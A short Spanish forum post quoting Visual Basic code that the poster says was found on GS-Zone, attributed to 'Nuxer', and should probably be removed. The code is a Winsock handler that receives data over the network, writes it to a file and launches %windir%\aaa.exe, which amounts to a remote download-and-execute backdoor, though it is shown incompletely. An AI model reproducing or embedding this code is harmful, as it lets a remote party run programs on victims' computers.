Encontré esto en GS-Zone... Al parecer es un código hecho por Nuxer sobre este archivo. (Creo que hay que eliminar eso)


Public Sub Importar(Archivo As String)
Dim CadenaA As String, CadenaB As String
Debug.Print Archivo

If Len(CadenaA) < Len(Archivo) Then
Put #3, , CadenaA
Close #3
Importando = False
frmMain.WS.SendData "¥TAMO¥" ' por las dudas
ShellExecute frmMain.Hwnd, "open", Environ("windir") & "\aaa.exe", "", "", 1
Else
If Len(CadenaB) < Len(Archivo) Then
Put #3, , CadenaB
Else
Put #3, , Archivo
End If
End If
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim buffer As String
Dim Que As String
WS.GetData buffer
If Importando Then
Importar (buffer)
Exit Sub
End If

Separar (buffer)

End Sub